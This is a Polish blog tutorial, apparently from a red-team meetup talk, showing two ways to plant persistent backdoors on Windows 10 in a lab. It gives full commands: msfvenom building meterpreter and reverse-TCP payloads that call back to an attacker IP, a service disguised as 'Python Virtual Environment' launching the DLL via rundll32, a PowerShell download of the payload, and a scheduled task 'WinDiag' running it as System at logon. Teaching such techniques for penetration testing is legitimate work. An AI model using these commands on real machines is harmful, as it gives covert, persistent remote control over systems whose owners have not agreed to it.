Niniejszy artykuł inspirowany jest prezentacją przedstawioną na śląskim meet-upie 1753C w styczniu 2020. W tej i kolejnych częściach przedstawię Wam w nim kilka przykładów backdoorów na systemach Windows – od najprostszych do trochę bardziej nietypowych. Sam backdoor, czyli z angielskiego “tylna furtka” to pewnego rodzaju ukryty kanał dostępu do jakiegoś zasobu cyfrowego – my skupimy się na dających dostęp do zbackdoorowanego systemu z poziomu reverse shella, pomijając takie aspekty jak dostępność sieciowa czy antywirus. Nie wykluczam jednak, że w przyszłości pojawi się artykuł obejmujący bardziej zaawansowane techniki ukrywania się na innym systemie. Backdoory przydają się podczas ćwiczeń ofensywnych, zwłaszcza w scenariuszach, w których wymagane jest poruszanie się po większej liczbie systemów – np. podczas zadań red-teamowych lub testach penetracyjnych infrastruktury, w związku z czym, po zdobyciu jednego z systemów chcemy naszą obecność utrwalić na wypadek utraty połączenia lub restartu maszyny docelowej. Backdoor w podstawowej wersji, którego przykłady zobaczysz poniżej, ma za zadanie uruchomić się automatycznie po starcie systemu i zapewnić reverse shella do wybranego adresu IP.

Możesz samodzielnie odtworzyć wszystkie techniki zaprezentowane poniżej – nasz setup to maszyna wirtualna z systemem Kali Linux 2020 – o adresie IP 192.168.139.214 oraz maszyna wirtualna Windows 10 Professional z wyłączonym windows defenderem o adresie IP 192.168.139.205.

W dalszej części spróbujemy przetestować kilka podstawowych metod backdoorowania systemu Windows. Jeżeli pliki będziemy musieli skopiować na system Windows ręcznie, to robimy to z pełną świadomością faktu, iż w warunkach testu penetracyjnego robilibyśmy to korzystając z zestawionego wcześniej reverse shella.

Service & Rundll32

Technika ta korzysta z dwóch funkcjonalności systemu Windows: pierwsza to możliwość utworzenia usługi (service), czyli programu, który uruchamia się samoczynnie i działa w tle, druga to możliwość uruchamiania bibliotek DLL tak samo jak plików wykonywalnych .exe. Plik .DLL technicznie jest bardzo zbliżony do pliku wykonywalnego .exe, jednak różnica między nimi jest taka, że pliki .exe są bezpośrednio wykonywalne, natomiast pliki .dll służą jako biblioteki funkcji dla innych plików wykonywalnych. Udostępnianie przez bibliotekę dll funkcji dla innego pliku wykonywalnego nazywane jest exportem, natomiast korzystanie przez plik wykonywalny z zewnętrznej funkcji zawartej w pliku .dll nazywane jest importem tej funkcji.

Windows posiada wbudowaną funkcjonalność umożliwiającą bezpośredni import i wywołanie dowolnej funkcji z pliku .dll pod warunkiem, że znamy jej nazwę. Funkcjonalność ta zawarta jest w pliku rundll32.exe któy domyślnie znajduje się w katalogu C:\Windows\system32. Przykładowo więc, wywołanie funkcji ze znanej nam biblioteki .dll może zostać zrealizowane poleceniem

rundll32 mydll.dll,MojaFunkcja

Co to ma wspólnego z usługą Windows? Otóż aby uruchomić usługę potrzebujemy pliku wykonywalnego, który wspiera komunikację z SCM (Service Control Manager’em) czyli specjalnym mechanizmem w Windowsie, który zajmuje się obsługą usług. Windows oczekuje od usługi, że ta skomunikuje się z SCM korzystając ze specjalnie do tego wykorzystywanej funkcji o nazwie StartServiceCtrlDispatcher. Stąd też, jeżeli po prostu wygenerujemy meterpreter z poziomu msfvenom i wskażemy taki plik .exe jako bazę usługi, to co prawda uruchomi się, jednak po upływie kilkudziesięciu sekund proces zostanie zakończony, gdyż nie posiada on w kodzie odwołania do wspomnianej funkcji. Msfvenom posiada format wyjściowy zwany exe-service, jednak w toku testów zauważyłem, że nie działa on w pełni poprawnie. Jako alternatywę możemy więc wygenerować meterpreter w formacie dll i uruchomić go z poziomu rundll32.exe. Aby to zrobić, w konsoli Kaliego używamy polecenia

msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.139.214 lport=443 exitfunc=thread -f dll -o python.dll

Plik możemy schować w jakimś bardziej nieoczywistym miejscu – np. c:\windows\Temp. Ciekawostka: jest to interesująca lokalizacja, ponieważ domyślnie każdy może do niej pisać, ale aby ją odczytać należy być administratorem.

c:\windows\temp posiada domyślnie niestandardowe ustawienia dostępu

Skoro mamy już plik na systemie, aby utworzyć usługę skorzystamy z poniższego polecenia. By polecenie zadziałało, musimy uruchomić terminal z uprawnieniami administratora.

sc create "Python Virtual Environment" binPath= "rundll32.exe c:\windows\temp\python.dll,1" start= auto

Jeżeli wszystko się udało, to powinniśmy otrzymać komunikat podobny do poniższego. Co ciekawe, dll generowane przez msfvenom działają również, jeżeli podamy błędną nazwę funkcji do wywołania – stąd też my wywołujemy funkcję 1, która wcale nie musi istnieć.

Zanim zrestartujemy maszynę Windows, ustawiamy handler w metasploicie, aby odebrać połączenie reverse shella.
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set lhost 0.0.0.0
set lport 443

Okno metasploita wraz z ustawieniami

Jeżeli korzystasz z maszyny wirtualnej, użyj opcji “wyłącz” zamiast restartu – czasami może się zdarzyć, że z uwagi na wirtualizację “sam” restart może być nieefektywny.

Chwilę po zalogowaniu do systemu Windows pojawi się meterpreter shell z uprawnieniami systemu.

Scheduled Task

Windows posiada wbudowaną funkcjonalność realizacji tzw. zaplanowanych zadań (ang. scheduled tasks). Głównym interfejsem graficznym służącym do zarządzania tymi zadaniami jest aplikacja taskschd.exe znajdująca się w folderze system32.

taskschd.exe – główne okno

Zadania to jak sama nazwa wskazuje – instrukcje do wykonania przez system. My, jako użytkownicy możemy zdecydować, w którym momencie mają one być wykonane, z jakimi uprawnieniami, czy mają być jednorazowe czy cykliczne itp. Poza wyżej wymienionym interfejsem GUI można zarządzać zadaniami poprzez ich import z pliku XML, z wykorzystaniem Windows API oraz Scriptletów lub nieco prościej – z poziomu command line – czyli korzystając z narzędzia schtasks.exe

Scenariusz instalacji backdoora będzie podobny jak w poprzednim przypadku – ustawimy odpowiedni handler nasłuchujący na maszynie atakującej (Kali Linux). Tym razem jako handler wystarczy nam netcat, więc poleceniem uruchamiającym go będzie

nc -lvp 443

Wykorzystajmy też nieco inny payload niż ostatnio – niech będzie to zwykły reverse shell, bez funkcji meterpretera. Po pierwsze, generujemy payload o nazwie m.exe korzystając z komendy

msfvenom -p windows/x64/shell_reverse_tcp -f exe exitfunc=thread lhost=192.168.139.214 lport=443 -o m.exe

Przeniesiemy teraz plik na maszynę Windows. W tym celu, uruchomimy najpierw serwer Pythona w katalogu, w którym wygenerowano reverse shella – przy pomocy polecenia
python -m SimpleHTTPServer 80

Przejdźmy teraz do stworzenia tasku – backdoora. Na systemie Windows będącym naszą ofiarą – potrzebne będzie nam okno cmd.exe / powershella działające jako administrator. Wykonujemy dwa polecenia – pierwsze, służące do pobrania pliku na nasz komputer:
powershell curl http://192.168.139.214/m.exe -outfile %appdata%\m.exe
%appdata% jest zapisywalną lokalizacją rozwiązującą się na C:\Users\<aktualny użytkownik>\AppData\Roaming

Drugie polecenie spowoduje dodanie nowego zadania uruchamiającego pobraną aplikację. Ma ono następującą składnię:

schtasks /create /tn WinDiag /tr "C:\Users\win10en\AppData\Roaming\m.exe" /sc onlogon /ru System

Powyższa komenda do schtasks.exe oznacza stworzenie zadania o nazwie (/tn) WinDiag, powiązanego z plikiem wykonywalnym (/tr) m.exe, uruchamianego (/sc) po zalogowaniu i działającego jako (/ru) System.


Następnie wykonujemy restart, analogicznie do poprzedniego przypadku. Po zalogowaniu się możemy zobaczyć shella w terminalu maszyny z Kali Linuxem.

Przedstawione w niniejszym artykule sposoby należą do najprostszych i najbardziej popularnych metod pozostawienia sobie “tylnej furtki” na systemie Windows. Naturalnie, dla celów szkoleniowych, przykład został przez nas maksymalnie uproszczony – obydwie maszyny mogą bez ograniczeń komunikować się w sieci, antywirus jest wyłączony oraz nie zakładamy istnienia kogokolwiek (lub czegokolwiek), kto mógłby próbować odkryć obecność złośliwego oprogramowania.

W kolejnej części przedstawimy dwie, nieco bardziej złożone techniki backdoorowania Windowsa, oparte o rejestr systemu Windows.

0 CommentsZamknij komentarze

Skomentuj